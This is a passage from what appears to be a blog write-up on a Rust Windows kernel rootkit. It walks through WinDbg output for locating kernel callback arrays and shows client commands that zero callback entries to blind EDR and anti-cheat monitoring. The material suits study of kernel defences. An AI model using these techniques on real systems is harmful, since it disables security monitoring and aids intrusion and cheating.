When DSE is disabled, we can double-check if this works by loading any unsigned driver.
Kernel Callbacks Theory
Kernel Callbacks are used to notify a Windows Kernel Driver when a specific event occurs such as when a process is created or exits aka PsSetCreateProcessNotifyRoutine
or when a thread is created or deleted aka PsSetCreateThreadNotifyRoutine
or when a DLL is mapped into memory aka PsSetLoadImageNotifyRoutine
or when a registry is created aka CmRegisterCallbackEx
or when a handle is created ObRegisterCallbacks
. Anti-cheats have been using these for a very long time and AVs, EDRs, and Sysmon are also using these.
Anti-cheats or EDRs may choose to block/flag the process or thread from being created or block the DLL from being mapped or handles to be stripped.
For this example we will be looking at PsSetCreateProcessNotifyRoutine. A Windows kernel driver can register Kernel callbacks from the driver entry which are stored inside an array in memory called PspCreateProcessNotifyRoutine
. Each Kernel callback has its own version of the array. For example the PsSetCreateThreadNotifyRoutine
callback will have an array called PspCreateThreadNotifyRoutine
.
Every Kernel callback has an array with each index containing pointers to a callback function and these callbacks exist inside the module/driver that registered it. These arrays have a maximum size of 64.
We can view this through Windbg. We see there is a call instruction to PspSetCreateProcessNotifyRoutine
inside the PsSetCreateProcessNotifyRoutine
function. This could be a jump instruction on different versions of Windows.
kd> u nt!PsSetCreateProcessNotifyRoutine
nt!PsSetCreateProcessNotifyRoutine:
fffff802`3f186620 4883ec28 sub rsp,28h
fffff802`3f186624 8ac2 mov al,dl
fffff802`3f186626 33d2 xor edx,edx
fffff802`3f186628 84c0 test al,al
fffff802`3f18662a 0f95c2 setne dl
fffff802`3f18662d e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`3f1867e8)
fffff802`3f186632 4883c428 add rsp,28h
fffff802`3f186636 c3 ret
We can unassemble PspSetCreateProcessNotifyRoutine
until we see the first LEA
assembly instruction, which is short for Load Effective Address
. This instruction is moving the address of the PspCreateProcessNotifyRoutine
array into the R13
CPU register. (Other Windows may use a different register).
0: kd> u nt!PspSetCreateProcessNotifyRoutine
nt!PspSetCreateProcessNotifyRoutine:
fffff802`3f1867e8 48895c2408 mov qword ptr [rsp+8],rbx
<...redacted...>
0: kd> u
nt!PspSetCreateProcessNotifyRoutine+0x54:
fffff802`3f18683c 488bf8 mov rdi,rax
fffff802`3f18683f 4885c0 test rax,rax
fffff802`3f186842 0f8491730c00 je nt!PspSetCreateProcessNotifyRoutine+0xc73f1 (fffff802`3f24dbd9)
fffff802`3f186848 33db xor ebx,ebx
fffff802`3f18684a 4c8d2d8f5b5600 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`3f6ec3e0)]
fffff802`3f186851 488d0cdd00000000 lea rcx,[rbx*8]
fffff802`3f186859 4533c0 xor r8d,r8d
fffff802`3f18685c 4903cd add rcx,r13
We can dump the address being loaded into the R13
CPU register and see that various callback pointers have been registered.
0: kd> dqs fffff802`3f6ec3e0
fffff802`3f6ec3e0 ffffa208`4a0500ff
fffff802`3f6ec3e8 ffffa208`4a1f484f
fffff802`3f6ec3f0 ffffa208`4a7fcddf
fffff802`3f6ec3f8 ffffa208`4a7fcd4f
fffff802`3f6ec400 ffffa208`4a7fcb6f
fffff802`3f6ec408 ffffa208`4af072cf
fffff802`3f6ec410 ffffa208`4af0780f
fffff802`3f6ec418 ffffa208`4af07daf
fffff802`3f6ec420 ffffa208`4c895c9f
fffff802`3f6ec428 ffffa208`4c89ad0f
fffff802`3f6ec430 ffffa208`4eca9cdf
fffff802`3f6ec438 ffffa208`4ecaa30f
fffff802`3f6ec440 00000000`00000000
fffff802`3f6ec448 00000000`00000000
fffff802`3f6ec450 00000000`00000000
fffff802`3f6ec458 00000000`00000000
Here we can see that 12 callbacks are present, and the other entries are empty. We view our very own Kernel callback registered from our rootkit. The values shown on the right side are HANDLES
so we have to AND
it with 0xfffffffffffffff8
to get the raw pointer as explained in this post https://codemachine.com/articles/kmdf_handles_and_pointers.html
Here we can see our rootkit has registered a kernel callback. An EDR or anti-cheat may have registered callbacks.
0: kd> dps (ffffa208`4eca9cdf & fffffffffffffff8) L1
ffffa208`4eca9cd8 fffff802`47210580 Eagle!driver_entry+0x4a90
Note that there is not an easy way to directly access the kernel callback arrays. We first have to traverse the PspSetCreateProcessNotifyRoutine
function and then traverse PspSetCreateProcessNotifyRoutine
to get the LEA
instruction so we can access the array. There are many different techniques to access the array dynamically but these won’t be covered in this post.
Exercise for the reader: https://synzack.github.io/Blinding-EDR-On-Windows/
So how do we blind the EDR / anti-cheat or remove these kernel callbacks? Well, it’s as simple as zeroing out the array. We can use our rootkit to find the address of the array at runtime and replace the specified index with 0s.
Note: The techniques for enumerating/disabling all of the kernel callbacks are the same and won’t require much extra effort as the same concept applies.
- PsSetCreateProcessNotifyRoutine - Event occurs when a process is created or exits
- PsSetCreateThreadNotifyRoutine - Event occurs when a thread is created or deleted
- PsSetLoadImageNotifyRoutine - Event occurs when a DLL is mapped/loaded into memory
- CmRegisterCallbackEx - Event occurs when a registry is created.
- ObRegisterCallbacks - Event occurs when handle is created.
All of this can be used to blind/evade EDRs or anti-cheats. However, note that an anti-cheat or EDR can also check to see if their callback is registered or removed and this might be suspicious. Note that this does not trigger PatchGuard.
Kernel Callbacks Example
Here we can enumerate the number of callbacks and the modules/drivers that have registered the callbacks:
PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --enumerate
Total Kernel Callbacks: 12
[0] 0xffffa2084a0500ff ("ntoskrnl.exe")
[1] 0xffffa2084a1f484f ("cng.sys")
[2] 0xffffa2084a7fcddf ("WdFilter.sys")
[3] 0xffffa2084a7fcd4f ("ksecdd.sys")
[4] 0xffffa2084a7fcb6f ("tcpip.sys")
[5] 0xffffa2084af072cf ("iorate.sys")
[6] 0xffffa2084af0780f ("CI.dll")
[7] 0xffffa2084af07daf ("dxgkrnl.sys")
[8] 0xffffa2084c895c9f ("vm3dmp.sys")
[9] 0xffffa2084c89ad0f ("peauth.sys")
[10] 0xffffa2084eca9cdf ("Eagle.sys")
[11] 0xffffa2084ecaa30f ("MpKslDrv.sys")
In this example, we will disable the kernel callback registered via our very own rootkit. Here we will replace the 10th index with 0’s, which will disable the registered callback made by Eagle.sys
.
PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --patch 10
[+] Callback patched successfully at index 10
We can enumerate the number of callbacks and the name of the module that has registered callbacks again to see if we disabled it.
Here we can see that Eagle.sys
is no longer on the list of registered callbacks and we have successfully disabled the kernel callback for Eagle.sys
.
PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --enumerate
Total Kernel Callbacks: 11
[0] 0xffffa2084a0500ff ("ntoskrnl.exe")
[1] 0xffffa2084a1f484f ("cng.sys")
[2] 0xffffa2084a7fcddf ("WdFilter.sys")
[3] 0xffffa2084a7fcd4f ("ksecdd.sys")
[4] 0xffffa2084a7fcb6f ("tcpip.sys")
[5] 0xffffa2084af072cf ("iorate.sys")
[6] 0xffffa2084af0780f ("CI.dll")
[7] 0xffffa2084af07daf ("dxgkrnl.sys")
[8] 0xffffa2084c895c9f ("vm3dmp.sys")
[9] 0xffffa2084c89ad0f ("peauth.sys")
Missing Features
Some of the missing features for this rootkit are hiding files/directories, hiding a network connection, hiding registry keys, and other unimplemented kernel callbacks, which should not be difficult to implement in the future.
Conclusion
The knowledge required to keep updated in the Windows Kernel area is very vast due to how cutting-edge the field can be. There are many crossovers from the game hacking and anti-cheats are miles ahead of EDRs but EDRs appear to be following the same path. Game hackers and malware developers have been using these techniques for many years, and are also ahead of the game, and red teamers have recently started learning about Windows Kernel and Kernel rootkit techniques. It becomes much easier once you know the fundamentals of Windows Internals, C/C++/Rust, debugging, and reverse engineering. The question comes down to whether is it what you’re interested in and whether it is worth it. Well, that depends on what you want to do. Want to bypass an anti-cheat/EDR? Reverse it, find out what it does, how it works, how it detects things, then don’t do the thing that makes it detect you :). Whilst it may sound simple, the time, effort, and knowledge it requires might not be worth it, depending on what you want to do. But if you put your mind to it then anything is possible.
I hope you enjoyed my writeup.
Note
A better way to code Windows Kernel Drivers in Rust is to create bindings as shown in the references below. However, using someone else’s bindings hides the functionality and this is why I made it the classic way unless, of course, you create your own bindings. I plan on refactoring the code in the future but for now, it will be a bit messy and incomplete.
I made this project for fun and because I really like Rust and Windows Internals. This is obviously not perfect or finished yet. if you would like to learn more about Windows Kernel Programming then feel free to check out the references below. The preferred safe and robust way of coding Windows Kernel Drivers in Rust is shown here:
Additional rootkit resources
- https://codemachine.com/articles.html
- https://www.amazon.com/Rootkits-Subverting-Windows-Greg-Hoglund/dp/0321294319
- https://www.unknowncheats.me/
- https://gamehacking.academy/
- https://secret.club/
- https://back.engineering/
References and Credits
- https://www.unknowncheats.me/ (Big thanks to the OG unknowncheats)
- https://courses.zeropointsecurity.co.uk/courses/offensive-driver-development (Big thanks to @_RastaMouse)
- https://not-matthias.github.io/kernel-driver-with-rust/ (Big thanks to @not_matthias)
- https://github.com/not-matthias/kernel-driver-with-rust/
- https://leanpub.com/windowskernelprogramming Windows Kernel Programming Book (Big thanks to Pavel Yosifovich @zodiacon)
- https://www.amazon.com/Rootkits-Subverting-Windows-Greg-Hoglund/dp/0321294319 (Big thanks to Greg Hoglund and James Butler for Rootkits: Subverting the Windows Kernel Book)
- https://codentium.com/guides/windows-dev/
- https://github.com/StephanvanSchaik/windows-kernel-rs/
- https://github.com/rmccrystal/kernel-rs
- https://github.com/pravic/winapi-kmd-rs
- https://guidedhacking.com/
- https://gamehacking.academy/
- https://secret.club/ (Big thanks to the secret club)
- https://back.engineering/
- https://www.vergiliusproject.com/kernels/x64
- https://www.crowdstrike.com/blog/evolution-protected-processes-part-1-pass-hash-mitigations-windows-81/
- https://discord.com/invite/rust-lang-community (Big thanks to: WithinRafael, Nick12, Zuix, DuckThatSits, matt1992, kpreid and many others)
- https://twitter.com/the_secret_club/status/1386215138148196353 Discord (hugsy, themagicalgamer)
- https://www.rust-lang.org/
- https://doc.rust-lang.org/book/
- https://posts.specterops.io/mimidrv-in-depth-4d273d19e148
- https://br-sn.github.io/Removing-Kernel-Callbacks-Using-Signed-Drivers/
- https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/
- https://m0uk4.gitbook.io/notebooks/mouka/windowsinternal/find-kernel-module-address-todo
- https://github.com/XaFF-XaFF/Cronos-Rootkit/
- https://github.com/JKornev/hidden
- https://github.com/landhb/HideProcess
- https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland
- https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess
- https://codemachine.com/articles/kernel_structures.html
- https://synzack.github.io/Blinding-EDR-On-Windows/
- https://connormcgarr.github.io/Kernel-Exploitation-2/
- https://windows-internals.com/hyperguard-secure-kernel-patch-guard-part-1-skpg-initialization/
- https://kerkour.com/why-rust-for-offensive-security
- https://kerkour.com/black-hat-rust
- https://posts.specterops.io/mimidrv-in-depth-4d273d19e148
- http://www.alex-ionescu.com/?p=97
- https://www.elastic.co/blog/introduction-to-windows-tokens-for-security-practitioners
- https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b